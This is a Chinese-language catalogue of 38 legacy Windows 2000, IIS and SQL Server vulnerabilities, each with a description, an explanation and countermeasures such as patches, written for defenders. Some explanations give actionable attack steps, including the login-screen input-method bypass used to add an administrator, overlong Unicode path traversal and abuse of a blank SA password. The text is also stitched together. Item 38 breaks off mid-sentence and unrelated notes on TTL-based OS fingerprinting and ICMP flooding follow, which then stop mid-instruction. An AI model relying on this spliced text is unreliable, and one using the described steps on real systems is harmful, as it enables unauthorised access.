1.输入法漏洞
漏洞描述
通过该漏洞用户可浏览计算机上的所有文件,且可执行net.exe命令添加Administrator级别的管理员用户,从而完全控制计算机。
解释
在Windows 2000的登陆窗口中,按Ctrl+Shift键,切换至全拼输入法。在输入法状态条上按鼠标右键,选择“帮助”的“输入指南”,然后选择“选项”,按右键选择“跳转到URL”命令,随后即可输入各类命令。如使用系统的“net”命令,即可添加系统管理员用户,随后即可通过该帐户登录。
对策
(1)卸载不用的输入法,并删除输入法的帮助文件。
(2)安装Windows 2000的Service Pack 1以上的版本。
2.Unicode漏洞
漏洞描述
攻击者可通过IE浏览器远程运行被攻击计算机的cmd.exe文件,从而使该计算机的文件暴露,且可随意执行和更改文件。
解释
Unicode标准被很多软件开发者所采用,无论何种平台、程序或开发语言,Unicode均为每个字符提供独一无二的序号,如向IIS服务器发出包括非法Unicode UTF-8序列的URL,攻击者可使服务器逐字“进入或退出”目录并执行任意程序,该攻击即称为目录转换攻击。
Unicode用“%2f”和“%5c”分别代表“/”和“\”字符,但也可用“超长”序列来代替这些字符。“超长”序列是非法的Unicode表示符,如用“%c0%af”代表“/”字符。由于IIS不对超长序列进行检查,因此在URL中添加超长的Unicode序列后,可绕过微软的安全检查,如在一个标记为可执行的文件夹发出该请求,攻击者即可在服务器上运行可执行文件。
对策
(1)为避免该类攻击,建议下载最新补丁,网址如下所述
http://www.microsoft.com/technet/security/bulletin/MS00-078.asp
(2)安装IIS Lockdown和URL Scan来加固系统,从而避免该类攻击。
IIS Lockdown的下载地址如下所述
http://www.microsoft.com/technet/security/tools/locktool.asp
URLScan的下载地址如下所述
http://www.microsoft.com/technet/security/URLScan.asp
(3)安装Windows 2000的Service Pack 2以上的版本。
3.ISAPI 缓冲区扩展溢出漏洞
漏洞描述
攻击者向装有IIS5.0的Windows 2000服务器发送特定数据,造成缓冲区溢出,从而控制IIS服务器,甚至获取服务器的最高权限。
解释
IIS是在很多Windows NT和Windows 2000系统中使用的服务器软件。安装IIS后会自动安装多个ISAPI extensions。
ISAPI,即Internet Services Application Programming Interface,允许开发人员使用DLL扩展IIS服务器性能,然而某些动态连接库,如“IDQ.DLL”存在错误,使其进行不正确的边界检查。当外部攻击实施向ISAPI扩展发送特定参数的“Buffer Over Run”攻击时,即可从外部执行服务器的所有程序。
IDQ.DLL缓冲区溢出漏洞将影响Microsoft Index Server 2.0和Windows 2000中的Indexing Service,而打印机缓冲区溢出漏洞将影响Windows 2000 Server、Advanced Server 和安装IIS 5.0的Server Data Center Edition。
对策
(1)管理员应及时检查并取消不需的ISAPI扩展,并使让系统运行于工作所需的最少服务状态中。
(2)下载补丁程序,网址如下所述
http://www.microsoft.com/technet/security/bulletin/MS01-044.asp
(3)安装Windows 2000的Serive Pack 2以上的版本。
4.MS SQL Server的SA空密码漏洞
漏洞描述
攻击者可在安装MS SQL Server的Windows 2000服务器上新建Administrators组用户。
解释
在Windows 2000中,企业级用户一般均使用微软的数据库管理软件 MS SQL Server,在安装MS SQL Server后,会将产生默认的SA用户,且初始密码在管理员未设置的情况下为空,但SA为SQL Server中非常重要的安全模块成员,因此入侵者即可通过SQL Server客户端进行数据库远程连接,然后通过SQL的远程数据库管理命令进行命令操作,从而在MS SQL Server服务器上新建管理员级别的Administrators组用户。
对策
(1)安装SQL Server后应立即修改SA的空密码。
(2)安装Windows 2000的Service Pack 3。
5.系统管理权限漏洞
漏洞描述
操作系统权限有可能被登录至Windows 2000的普通用户所窃取。
解释
该漏洞发现于网络连接管理器(Network Connection Manager,即NCM)中,网络连接管理器是管理并设置系统网络连接的组件。在建立网络连接时,连接管理器将调用某个处理程序,,由于连接管理器中的安全漏洞,因此经过某些复杂的操作步骤,被调用的处理程序将在局部系统权限下运行,且有可能调用其他处理程序。
如作为处理程序而指定任意程序后,该程序将在局部系统权限下运行,而该权限即Windows系统自身的执行权限,且基本未受任何限制,因此在该权限下任何程序均可运行,普通用户即可控制整个系统。
对策
安装Windows 2000的Service Pack 3。
6.路径优先漏洞
漏洞描述
本地攻击者可利用该漏洞在系统中放置木马,并以系统登录用户安全权限执行。
解释
Windows 2000在应用程序的绝对路径未指定的情况下会使用“Path”的系统变量进行搜索,而该搜索方法存在缺陷,本地攻击者可利用该漏洞在系统中放置木马,并以同系统登录用户的安全权限执行。
在Windows 2000中,默认对系统的“ROOT”文件夹提供“Everyone”组的全部访问权限。一般系统“ROOT”并未包含在搜索路径中,但在某些情况,如登录或应用程序直接“开始”菜单的“运行”菜单项调用时,其会包含在搜索路径中。该情况可导致攻击者使用木马程序对同一系统用户进行攻击,即通过在系统ROOT目录中建立和原系统程序相同名程的木马程序,然后等待其他用户登录系统和调用木马程序。
对策
微软目前还未推出相应的补丁程序,建议通过对系统ROOT目录设置权限来减小该漏洞的危害。
7.NetDDE消息权限提升漏洞
漏洞描述
网络动态数据交换(Network Dynamic Data Exchange,即NetDDE)是一种在不同Windows应用程序间动态共享数据的技术,该共享通过受信任共享的通信通道完成,受信任共享由网络DDE代理服务管理。
本地机器的进程可向网络DDE代理发出请求,包括指定针对某个受信任共享应运行的应用程序,但由于网络DDE代理运行在本地系统用户的安全范围中并处理所有请求,因此攻击者可使网络DDE代理在本地系统用户的安全范围中执行其指定代码,从而提升权限并完全控制本地机器。
解释
Network DDE服务负责维护所有活动的网络DDE共享列表并管理NetDDE连接。当该服务启动时,在当前登录用户的桌面将创建隐藏的IPC窗口,用于和打开DDE特性的应用程序进行通信。该窗口名称为“NetDDE Agent”,类名为“NDDEAgent”,由于窗口由Winlogon创建,因此窗口过程将运行于Winlogon的进程空间中,并以SYSTEM的权限来处理消息。
“WM_COPYDATA”消息是该窗口所处理的消息之一,DDE用该消息将内存从进程传送送至另一个进程。WM_COPYDATA消息由“SendMessage”函数发送,并由底层消息子系统作为特殊情况进行处理。
当缓冲区的特殊数据传送至窗口过程时,将首先检查前12个字节的值,如不同,则消息处理过程将返回错误,否则即取出两个ASCII字符串并将其转换为Unicode串后检查共享名,以确保存在且为受信任的共享,但由于默认情况在系统中可存在多个受信任共享,因此可对其进行穷举,对每个共享名均尝试运行命令直至获取受信任的共享。
对策
(1)禁止DDE共享,但会导致某些须使用DDE共享的程序无法正常工作。
(2)以管理员身份运行ddeshare.exe,删除不必要的受信任共享。
(3)下载并安装补丁程序,网址如下所述
英文版http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526
中文版http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27530
(4)安装Windows 2000的Service Pack3。
8.RDP拒绝服务漏洞
漏洞描述
向RDP服务端口提交多个畸形包会导致服务器崩溃。
解释
RDP(Remote Desktop Protocol),即远程桌面协议,是终端服务器和客户端间的通信协议,其允许远程用户使用键盘和鼠标通过网络在应用程序间进行通信。Windows 2000的服务器和高级服务器版本在以终端服务器形式使用时易受到拒绝服务攻击。
向RDP服务端口提交多个畸形的包会导致服务器崩溃,未保存数据将丢失,需重启服务器才可恢复正常功能。
对策
(1)补丁下载,网址如下所述
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27500
(2)安装Windows 2000的Service Pack 2以上的版本。
9.域控制器拒绝服务漏洞
漏洞描述
提交至域控制器的大量无效请求将导致系统停止响应。
解释
Windows 2000域控制器存在拒绝服务的情况,使向域控制器提交大量的无效请求会导致系统停止响应。
开启了464号UDP端口的Windows 2000服务器容易收到UDP的Ping攻击,只需向该端口发送的数据包的源端口使用19号端口,即可使服务器的CPU占用率大为升高。
对策
(1)补丁下载,网址如下所述
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=28064
(2)安装Windows 2000的Service Pack 2以上的版本。
10.事件查看器存在缓冲区溢出
漏洞描述
攻击者可使事件查看器崩溃或执行任意代码。
解释
Windows 2000的事件查看器在显示事件记录细节情况时存在缓冲区溢出,通过在事件记录字段中填入特殊构造的数据,攻击者可使事件查看器崩溃或执行任意代码。
对策
(1)对于Windows 2000建议下载补丁,网址如下所述
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27842
(2)安装Windows 2000的Service Pack 2以上的版本。
11.UDP套接字拒绝服务漏洞
漏洞描述
当接收恶意电子邮件或访问某恶意网站时,Windows 2000会停止DNS解析,而Windows 98则会拒绝接受新的TCP连接。
解释
Windows 2000和Windows 98容易受到拒绝服务的影响。当收到一封恶意构造的电子邮件或者访问某个恶意的网站时,Windows 2000可能会停止DNS解析,而Windows 98则会拒绝接受新的TCP连接,这些情况由于应用程序在分配网络套接字时缺少限制所引起,网站的恶意Java Applet程序可利用该漏洞使系统拒绝服务。
对策
在浏览器中禁止执行Java Applet。
12.安全帐户管理漏洞
漏洞描述
安全帐户管理数据库可由Administrator帐户和Administrator组中的所有成员、备份操作员、服务器操作员及所有具有备份特权的人员所复制。
解释
SAM数据库的一个备份可被某些工具所利用于破解口令,Windows 2000在对用户进行身份验证时,仅可实现加密RSA水平。在该情况下,甚至不需使用工具即可猜测明文口令。
对策
限制Administrator组和备份组帐户的成员资格,并加强对这些帐户的跟踪,尤其对Administrator帐户的登录失败和注销。
13.IIS 5.0 的HTR映射远程堆溢出漏洞
漏洞描述
Windows 2000的IIS 5.0对“htr”文件的映射请求处理存在堆溢出漏洞,远程攻击者可利用该漏洞获取主机普通用户的访问权限。
解释
默认安装的IIS提供对“htr”文件请求的支持,一般htr文件用于设置基于Web的口令,其请求被映射为一个ISAPI扩展,并由ISM.DLL来处理。当请求传送至ISM.DLL 的ISAPI过滤器处理时,某些特殊请求将导致处理过程中发生堆溢出问题,原因为ISM.DLL分配的缓冲区比实际接受的用户输入数据长度小一个字节,因此导致一个单字节溢出的发生。
如攻击者使用随机数据,可使IIS服务崩溃(即IIS 5.0会自动重启),某些发送的数据,也可使程序执行任意代码。如成功利用该漏洞,远程攻击者可获取IIS4.0中的SYSTEM权限和IIS5.0中的IWAM_computername用户权限。
对策
(1)建议在不需使用“htr”映射时,立刻删除“htr”脚本映射。
(2)下载补丁,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824
(3)安装Windows 2000的Serive Pack 2以上的版本。
14.IIS5.0的ASP缓冲溢出漏洞
漏洞描述
IIS 5.0 ASP 的ISAPI过滤器存在远程缓冲区溢出漏洞,远程攻击者可利用该漏洞获取主机普通用户访问权限。
解释
默认安装的IIS 5.0服务器加载ASP ISAPI过滤器,在处理分块编码传送机制的代码中存在缓冲区溢出漏洞,攻击者可通过提交恶意分块编码数据来覆盖内存数据,并通过指定的数据重写任意地址的4字节内存。
如攻击者使用随机数据,可使IIS服务崩溃(IIS 5.0会自动重启)。成功利用该漏洞,攻击者可获取IIS 5.0的 IWAM_computername用户权限。
对策
(1)下载补丁,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824
(2)如不使用ASP脚本,可删除“asp”脚本映射。
(3)安装Windows 2000的Serive Pack 2以上的版本。
15.Narrator本地密码信息泄露漏洞
漏洞描述
恶意攻击者可使计算机读出用户名和密码。
解释
Windows 2000包含可选用功能――Narrator,该功能用于将文本翻译为语音。Narrator在登录至终端服务进程时存在设计问题,本地攻击者可利用该漏洞获取密码信息。
当Narrator登录至终端服务进程时,会将用户名、域名和相关的密码以语音方式输出,导致密码信息泄露。
对策
目前暂无相关补丁,建议不安装该功能。
16.SMTP认证漏洞
漏洞描述
SMTP 用户认证可跳过。
解释
SMTP 服务属于Windows 2000 server和Internet Mail Connector缺省安装的部分。当Windows 2000 SMTP service和Exchange Server 5.5 IMC 接收NTLM验证层用户验证通知时,在赋予该用户合法访问权限前会进行多余的验证,在某些情况下会进行不正确的验证,使攻击者可获取用户级的非法访问权。
对策
下载安装补丁,网址如下所述:
Microsoft Windows 2000 Server, Professional and Advanced Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID= 36556
Exchange Server 5.5:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33423
17.IIS 5.0/5.1 验证漏洞
漏洞描述
IIS 验证漏洞导致泄露系统信息及帐户可通过暴力法破解。
解释
IIS提供了Web、FTP和Mail等服务,并支持匿名访问,当Web服务器验证用户失败时,将返回“401 Access Denied”信息,如服务器支持基本认证方式,攻击者可将主机头域置空后,Web服务器将返回包含内部地址的信息,因此可利用该问题对服务器的用户口令进行暴力法破解。
对策
(1)如服务器访问不需认证,建议关闭基本认证和集成的Windows认证。
(2)设置帐号策略以防止暴力法破解。
18.SQL Server的函数库漏洞
漏洞描述
在Windows 2000 和SQL Server7.0/2000系统中,由于函数库本身问题会导致内存溢出和拒绝服务。本地攻击者利用该漏洞可获取系统特权或进行D.o.S 攻击,并可运行攻击程序,使其产生拒绝服务。
解释
SQL Server 7.0和2000提供很多函数使数据库查询产生文字信息,这些文字信息保存于变量中,这些函数存在两种漏洞,如下所述:
(1)函数库本身问题,产生内存溢出,且可按需执行程序或引起其SQL Server 服务产生错误。
(2)呼叫SQL Server函数库时,产生C runtime函数库内格式字符串漏洞。
由于这两个漏洞产生原因不同,因此需分别修补,建议按需对C runtime进行修正。
对策
(1)建议用户按 SQL Server和C runtime的不同方式进行修补安装。
(20下载安装补丁,网址如下所述:
SQL Server:
SQL Server 7.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35066
SQL Server 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35067
C Runtime:
Windows NT 4.0 和 Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33500
Windows XP: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35023
19.IIS5.0 伪造“Content-Length”拒绝服务漏洞
漏洞描述
通过向IIS 5.0发送某些请求,可导致IIS 5.0拒绝服务。
解释
当IIS 5.0接收包含伪造的“Content-Length”域的GET请求时,会以异常方式处理该请求,即IIS 5.0保持该连接且不超时,但不再响应其他请求,仅重启才可恢复正常工作。
对策
目前还未有关于该漏洞的补丁程序,建议限制非信任主机对80端口的访问。
20.调试寄存器漏洞
漏洞描述
通过该漏洞,可提升用户权限。
解释
如在Windows 2000系统执行程序,通过该漏洞可提升用户权限。该漏洞的原因在于x86调试寄存器的DR0至DR7寄存器对于所有进程均为全局性。因此在进程中所设的硬件断点会影响其他进程和服务,如该断点在某个服务中被触发,会引发单步异常,该进程活服务即被终止。
对策
安装Windows 2000的Service Pack 3。
21.drwtsn32.exe文件漏洞
漏洞描述
drwtsn32.exe文件的故障使文件默认权限设置不当,可能导致敏感信息泄漏。
解释
drwtsn32.exe(Dr. Watson)是Windows系统内置的程序错误调试器,在默认状态下,出现程序错误时Dr. Watson 将自动启动,除非系统安装VC等其他具有调试功能的软件。
由于user.dmp中存储内容为当前用户的部分内存镜像,因此可导致各种敏感信息泄漏,如帐号、口令、邮件、浏览过的网页和编辑的文件等,具体取决于崩溃的应用程序和在此之前用户进行的操作。由于多种原因可导致Windows系统崩溃,因此无法排除恶意用户利用该漏洞获取非授权信息的可能。
对策
(1)输入不带参数的drwtsn32,更改故障文件至特权路径或取消“建立故障转储文件”选项。
(2)删除注册表项“[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ AeDebug]”下的相关键值。
(3)使用其他调试工具。
22.快捷方式漏洞
漏洞描述
Windows快捷方式可导致本地拒绝服务和用户口令散列值泄漏及执行恶意程序。
解释
Windows快捷方式即扩展名为lnk、pif或url的文件。其中url文件为纯文本格式,lnk和pif文件为二进制文件。这三种快捷方式均可自定义图标文件,当将图标文件名设置为Windows的默认设备名时,由于设备名称解析漏洞,可导致Windows9X系统崩溃。由于图标搜索由资源浏览器自动完成,因此只需快捷方式在资源管理器中出现,即可导致系统崩溃。
对于Windows NT/2000系统不会由于设备名称解析而崩溃,但如创建一个完全由ASCII字符填充组成的pif文件时会出现很多故障,如下所述:
对一个大于369字节的非法pif文件调用查看属性的“程序”页时,资源管理器会出错,提示“"0×77650b82"指令引用的"0×000000000"内存。该内存无法为‘read’”,但该错误不会引发缓冲溢出的安全问题。
对策
不轻易将邮件附件导出,尤其不导出至桌面,不轻易打开邮件中的各种快捷方式附件。
23.UTF漏洞
漏洞描述
IIS 存在 UTF 目录遍历漏洞,攻击者利用该漏洞执行任意代码。
解释
IIS一般会阻断 HTTP 请求中对Web 根目录外文件的访问,但通过使用特殊的 UTF 编码,攻击者可绕过过滤机制非法访问系统文件,并执行任意代码。
利用该漏洞,远程攻击者通过Web客户端能以IUSR_machinename 帐号身份访问系统文件。
对策
安装Windows 2000的Service Pack 4。
24.IIS 5.0 SEARCH方法远程攻击漏洞
漏洞描述
IIS 5.0的 SEARCH方法存在漏洞,易导致远程攻击。
解释
WebDAV是HTTP协议的扩展,允许远程编写和管理Web内容。微软IIS 5.0的WebDAV在处理某些畸形的请求时存在缺陷,当提交超长的SEARCH请求时可使IIS 服务重启。
对策
(1)下载的补丁程序,网址如下所述:
Microsoft IIS 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=28564
(2)先停止IIS服务,然后禁止“Everyone”用户访问Httpext.dll,最后再启动IIS服务。
25.LDAP 漏洞
漏洞描述
远程攻击者利用 Microsoft LDAP 漏洞可改变管理员口令。
解释
LDAP 服务器可被配置为通过SSL支持的LDAP,主要目的在于允许用户改变目录属主的数据性质,但当目录属主为域用户且数据特性为域口令时,服务器将不检查请求的合法性。
利用该漏洞,攻击者可改变任何用户,包括管理员的域登录口令。此外Windows 缺省安装无该漏洞,仅在 LDAP 服务器上安装数字证书才可建立通过 SSL 的 LDAP,如跳过防火墙阻断 TCP 636 端口,则攻击者无法利用该漏洞。
对策
下载并安装补丁程序,网址如下所述:
Windows 2000 Server and Advanced Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=31065
26.IIS5.0 拒绝服务漏洞
漏洞描述
利用设备文件导致IIS拒绝服务。
解释
当使用FSO(File System Object)组件 打开或读取设备文件时(如“com1”或“com2”等)将导致 ASP-processor停止响应。对于本地攻击者,如有创建 ASP文件的权限,可导致服务器死机。
对策
修补FSO组件的相关代码,使其在打开文件前须检查其是否存在。
27.Telnet漏洞
漏洞描述
Windows 2000 Telnet 服务存在很多重大安全漏洞。
解释
(1)提升权限漏洞:
当Telnet 服务进程建立时,该服务会创建有名管道,并执行命令,但该管道的名字可被预见。如Telnet 发现已存在的管道名,将直接使用。
利用该漏洞,可预建管道名,当下一次Telnet创建服务进程时,会在本地环境中运行攻击者的代码。
(2)拒绝服务漏洞:
有四个漏洞可引起 D.o.S 攻击,如下所述:
攻击者可建立大量空闲Telnet登录进程从而阻止其他合法用户登录。
攻击者反复建立、终止Telnet进程耗尽服务器的句柄,从而造成拒绝服务。
攻击者通过构造特殊登录命令导致Telnet拒绝服务。
使用普通用户权限通过系统调用终止Telnet服务。
(3)泄露敏感信息漏洞:
攻击者通过 Telnet 服务可获得 GUEST 帐号的一些敏感信息。
对策
下载并安装补丁,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30508
28.登录服务恢复模式空密码漏洞
漏洞描述
:恶意用户可对系统进行物理访问,并拥有管理员权限。
解释
该漏洞允许恶意用户对域管理器进行物理访问并在管理器中安装软件。在执行引导进程时,Windows 2000提供大量的操作系统模式,以帮助管理员修复问题。
“服务器配置”工具用于调节域的控制状态,并将空口令分配至操作系统,即导致恶意用户对系统进行物理访问,并拥有管理员的权限。
利用本漏洞需满足三个条件,如下所述:
(1)恶意用户从物理上接触域控制器并选择启动模式菜单。
(2)使用Configure工具将系统提升为域控制器。
(3)Configure工具仅运行于网络的第一个域控制器中。
对策
安装Windows 2000的Serive Pack 2以上的版本。
29.默认注册许可漏洞
漏洞描述
一些Windows注册键值被设置为错误的默认值,使攻击者改变系统设置,甚至远程控制主机。
解释
Windows 2000中的SNMP服务可远程管理计算机,给予“KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters”不可靠的许可权,导致恶意用户可访问注册表,并读取存储在ValidCommunities键值中的SNMP组名,导致恶意用户通过SNMP管理计算机。
恶意用户也可通过修改注册表键值来改变组名,可拒绝授权用户通过SNMP访问主机。
对策
安装Windows 2000的 Service Pack 2以上的版本。
30.域帐号锁定漏洞
漏洞描述
微软Windows 2000域帐号锁定可被绕过。
解释
在特定情况中可在系统中绕过域帐号锁定策略,使穷举密码攻击成为可能。域帐号锁定策略目的在于单词不成功登录后禁止该帐号,如未实现该策略,则可域帐号的密码进行穷举。
在使用NTLM认证的域中,Windows 2000主机无法识别针对本地的用户制订的域帐号锁定策略,在域控制器无法实施认证的情况下,缓存的凭证将被使用。
不使用NTLM进行认证的Windows 2000系统不受本漏洞的影响,因此作为Windows 2000域成员的客户端不存在本漏洞。
对策
安装Windows 2000的Serive Pack 2以上的版本。
31.终端服务器登录缓存溢出漏洞
漏洞描述
该漏洞允许恶意用户引发终端服务崩溃或在服务器上执行恶意代码。
解释
终端服务登录的一个未经检查的缓冲区将允许恶意用户执行任意代码,即恶意用户不需成功登录即可实现攻击。如连接请求未被过滤,该漏洞可远程使用。终端服务默认监听的TCP端口为3389,该端口可在防火墙及路由器中锁定。
对策
安装Windows 2000的Serive Pack 2以上的版本。
32.ActiveX 参数漏洞
漏洞描述
该漏洞可允许恶意用户在另一台主机上运行代码。
解释
ActiveX控制器包含未经检查的缓冲区,如控制器被Web或HTML以畸形参数调用时,可由于缓冲区溢出而导致在主机上执行代码,仅当ActiveX在IE、 Outlook或Outlook Express中被激活时,该漏洞才会被利用。
对策
(1)下载并安装补丁程序,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25532
(2)安装Windows 2000的Serive Pack 2以上的版本。
33.IIS5.0 Cross-Site scripting漏洞
漏洞描述
该漏洞可影响运行于Web服务器的任何软件,接受用户输入并生成Web页。
解释
该漏洞又称Cross-Site scripting(CSS),由于在动态Web页上使用Web应用程序前未正确验证输入而导致。
对策
安装Windows 2000的Serive Pack 2以上的版本。
34.组策略漏洞
漏洞描述
以独占方式打开组策略文件导致组策略应用被阻塞,攻击者可阻止组策略的应用。
解释
通过保存在域控制器上的活动目录和系统卷,Windows 2000可实现组策略的应用,这些存储位置称为组策略对象。当用户和计算机登录至域时,会读取和应用包含在组策略中的配置。
当Windows 2000以“排他读”的方式读取文件时,会导致攻击者锁定组策略文件,从而使组策略无法正常应用至所有受的用户和计算机。利用该漏洞可正常登录至域,然后以“排他读”的方式打开组策略文件,随后即可二次登录。
该漏洞可导致使用最近应用的策略设置,而其他用户在组策略锁定时不应用新的策略设置。
对策
下载补丁程序,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=36844
35.Outlook Express数字签名缓冲区溢出漏洞
漏洞描述
允许攻击者运行其代码。
解释
为校验邮件信息真实性,Outlook Express 支持数字签名,当数字签名相关的特殊错误发生时,代码的缓存溢出漏洞将导致警告信息。攻击者可创建一个具有数字签名的电子邮件并添加特殊数据,然后将其发送至用户,当接收者打开或预览邮件时,攻击者可使邮件客户端崩溃或利用该邮件在用户系统中运行攻击代码。
该漏洞仅影响Outlook Express 用户,而Outlook用户不会受影响。
对策
对用户帐户使用相应的限制。
36.ActiveX控件漏洞
漏洞描述
使Windows 9x以上的版本拒绝服务。
解释
Windows 的所有版本均提供信用注册服务的 ActiveX 控件,该控件主要用于支持基于网络的信用注册。
当该控件被用于提交“PKCS #10”的信用请求,并在请求得到许可后,会将其存放于用户信用存储区。该控件可使网页通过复杂的过程来删除用户系统的信用账号。
利用该漏洞可破坏经确认的根证书、EFS编码证书和电子邮件签名证书,从而导致用户无法使用这些证书。
攻击者还可建立利用该漏洞的网页,以攻击访问该站点的用户或直接将网页作为邮件发送来攻击。
对策
下载补丁程序,网址如下所述:
Microsoft Windows 98:
http://www.microsoft.com/Windows 98/downloads/Contents/WUCritical/q323172/default.asp
Microsoft Windows 98 Second Edition:
http://www.microsoft.com/Windows 98/downloads/contents/WUCritical/q323172/default.asp
Microsoft Windows Me:http://download.microsoft.com/download/WINME/PATCH/ 24421/WINME/EN-US/323172USAM.EXE
Microsoft Windows NT 4.0:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41747
Microsoft Windows NT 4.0, Terminal Server Edition:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41361
Microsoft Windows 2000:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41568
Microsoft Windows XP:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41598
Microsoft Windows XP 64-bit Edition:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41594
37.SMB漏洞
漏洞描述
拒绝服务。
解释
SMB(Server Message Block)是Windows系统用于共享文件、打印机、并行通信口及在计算机间通过命名管道和信使进行通信的协议。在网络环境中,服务器使文件系统和资源可被客户端使用,客户发送对某些资源的 SMB 请求,服务器端将发送 SMB 回应,SMB 是客户端/服务器结构和请求/回应机制的协议。攻击者通过发送请求包使服务器拒绝服务且系统崩溃。
对策
(1)可通过禁止匿名访问来防止攻击,也可通过禁止未经信任网络的 SMB 访问,防止受到未经信任的类似攻击。
(2)下载补丁程序,网址如下所述:
Microsoft Windows 2000:
http://www.microsoft.com/downloads/Release.asp?ReleaseID=41468
Microsoft Windows XP:
http://www.microsoft.com/downloads/Release.asp?ReleaseID=41524
Microsoft Windows XP 64 bit Edition:
http://www.microsoft.com/downloads/Release.asp?ReleaseID=41549
38.网络连接管理器漏洞
漏洞描述
导致用户权限的提升。
解释
网络连接管理器(NCM,即Network Connection Manager)是由主机管理的网络连接所使用的控制机制。网络连接建立后,NCM即调用处理例程。由于设计存在的缺陷,未经授权的用户可通过一系列复杂过程,利用该缺陷使该处理例程运行。
攻击者可利用该漏洞指定代码,然后建立网络连接,使NCM激活这些代码,并获取系统权限执行。
对策
(1)建议不允许未经授权的用户登录至关键业务的服务器。
(2)下载补丁程序,网址如下所述:
注意TTL 当然,返回的TTL值是相同的
TTL:生存时间
指定数据报被路由器丢弃之前允许通过的网段数量。
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
一个为ICMP请求回显(ICMP Echo Request)
一个为ICMP回显应答(ICMP Echo Reply)
、TTL 字段值可以帮助我们识别操作系统类型。
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
但有些情况下有所特殊
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
FreeBSD 4.1, 4.0, 3.4;
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
OpenBSD 2.6, 2.7,
NetBSD
HP UX 10.20
ICMP 回显应答的 TTL 字段值为 255
Windows 95/98/98SE
Windows ME
ICMP 回显应答的 TTL 字段值为 32
Windows NT4 WRKS
Windows NT4 Server
Windows 2000
ICMP 回显应答的 TTL 字段值为 128
这样,我们就可以通过这种方法来辨别
操作系统 TTL
LINUX 64
WIN2K/NT 128
WINDOWS 系列 32
UNIX 系列 255
什么是ICMP协议
ICMP是“Internet Control Message Protocol”(Internet控制消息协议)的缩写。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
我们在网络中经常会使用到ICMP协议,只不过我们觉察不到而已。比如我们经常使用的用于检查网络通不通的Ping命令,这个“Ping”的过程实际上就是ICMP协议工作的过程。还有其他的网络命令如跟踪路由的Tracert命令也是基于ICMP协议的。
ICMP的重要性
ICMP协议对于网络安全具有极其重要的意义。ICMP协议本身的特点决定了它非常容易被用于攻击网络上的路由器和主机。例如,在1999年8月海信集团“悬赏”50万元人民币测试防火墙的过程中,其防火墙遭受到的ICMP攻击达334050次之多,占整个攻击总数的90%以上!可见,ICMP的重要性绝不可以忽视!
比如,可以利用操作系统规定的ICMP数据包最大尺寸不超过64KB这一规定,向主机发起“Ping of Death”(死亡之Ping)攻击。“Ping of Death” 攻击的原理是:如果ICMP数据包的尺寸超过64KB上限时,主机就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使主机死机。
此外,向目标主机长时间、连续、大量地发送ICMP数据包,也会最终使系统瘫痪。大量的ICMP数据包会形成“ICMP风暴”,使得目标主机耗费大量的CPU资源处理,疲于奔命。
应对ICMP攻击
虽然ICMP协议给黑客以可乘之机,但是ICMP攻击也并非无药可医。只要在日常网络管理中未雨绸缪,提前做好准备,就可以有效地避免ICMP攻击造成的损失。
对于“Ping of Death”攻击,可以采取两种方法进行防范:第一种方法是在路由器上对ICMP数据包进行带宽限制,将ICMP占用的带宽控制在一定的范围内,这样即使有ICMP攻击,它所占用的带宽也是非常有限的,对整个网络的影响非常少;第二种方法就是在主机上设置ICMP数据包的处理规则,最好是设定拒绝所有的ICMP数据包。
设置ICMP数据包处理规则的方法也有两种,一种是在操作系统上设置包过滤,另一种是在主机上安装防火墙。具体设置如下:
1.在Windows 2000 Server中设置ICMP过滤
Windows 2000 Server提供了“路由与远程访问”服务,但是默认情况下是没有启动的,因此首先要启动它:点击“管理工具”中的“路由与远程访问”,启动设置向导。在其中选择“手动配置服务器”项,点击[下一步]按钮。稍等片刻后,系统会提示“路由和远程访问服务现在已被安装。要开始服务吗?”,点击[是]按钮启动服务。
图1中有两个按钮,一个是“输入筛选器”(指对此服务器接受的数据包进行筛选),另一个是“输出筛选器”(指对此服务器发送的数据包进行筛选),这里应该点击[输入筛选器] 按钮,会弹出一个“添加筛选器”窗口,再点击[添加]按钮,表示要增加一个筛选条件。 2. 用防火墙设置ICMP过滤 通过以上讲解,你现在知道ICMP的重要性了吧?赶紧给你的服务器设置ICMP过滤吧。
